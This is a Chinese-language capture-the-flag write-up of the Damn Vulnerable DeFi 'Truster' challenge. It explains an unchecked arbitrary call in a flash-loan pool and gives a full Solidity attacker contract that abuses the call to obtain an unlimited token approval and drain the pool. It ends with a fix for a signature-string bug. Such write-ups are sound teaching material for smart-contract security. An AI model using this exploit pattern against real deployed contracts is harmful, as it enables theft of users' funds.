你現在看到的是一個前三天寫太水導致觸及被壓的人 = =
More and more lending pools are offering flashloans. In this case, a new pool has launched that is offering flashloans of DVT tokens for free.
The pool holds 1 million DVT tokens. You have nothing.
To pass this challenge, rescue all funds in the pool executing a single transaction. Deposit the funds into the designated recovery account.
又是一題跟閃電貸有關的題目
依照題敘,現在有一個 100 萬的資金池,我們需要執行一筆交易把資金全部轉移到一個救援帳號
這題只有一個合約,而且裡面的內容沒有到特別多,所以分析起來非常快速 owob
簡單看過合約的內容以後,我們可以發現一個有趣的地方
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));
token.transfer(borrower, amount);
target.functionCall(data); <--------------here
if (token.balanceOf(address(this)) < balanceBefore) {
revert RepayFailed();
}
return true;
}
target.functionCall(data)
這個東西非常的有趣,因為理論上它可以調用從任何地址調用任意 function,所以我們可以很輕易的把 100 萬統統打包帶走,要是現實中有那麼簡單就好了
照著上面分析出來的思路,我們就可以偷偷塞把恢復帳號的地址塞進去,然後空手套白狼
雖然說是空手套白狼,但是我們在調用其它 function 的時候,閃電貸底池中的資金不能減少,所以我們需要直接調用閃電貸合約中的 approve
function( ERC 20 ),至於要怎麼調用呢?問就是自己寫一個來自拉自打
所以我們先來寫一個 contract
來調用 approve
注意這個 contract
直接放在 sol
檔的最後
然後在 checkSolvedByPlayer
中直接執行就好
這邊是第一版
contract WTFBr0 {
DamnValuableToken public token;
TrusterLenderPool public pool;
address public recovery;
constructor(address tokenAddress, address poolAddress, address recoveryAddress){
token = DamnValuableToken(tokenAddress);
pool = TrusterLenderPool(poolAddress);
recovery = recoveryAddress;
pool.flashLoan(0, address(0), address(token), abi.encodeWithSignature("approve(address, uint256)", address(this), type(uint256).max));
token.transferFrom(address(pool), recovery, token.balanceOf(address(pool)));
}
}
結果如下,看起來像是 DamnValuableToken
有一點問題
看起來 code 是沒問題的,但是空格在搞 = =
abi.encodeWithSignature("approve(address, uint256)", address(this), type(uint256).max));
||
\/
abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max));
因為是字串,所以沒吃到空格後面的 uint256
導致的地址錯誤,修改完後就正確了
每日梗圖(1/1)
感謝飛天小女警的努力,我又肝過了一天~~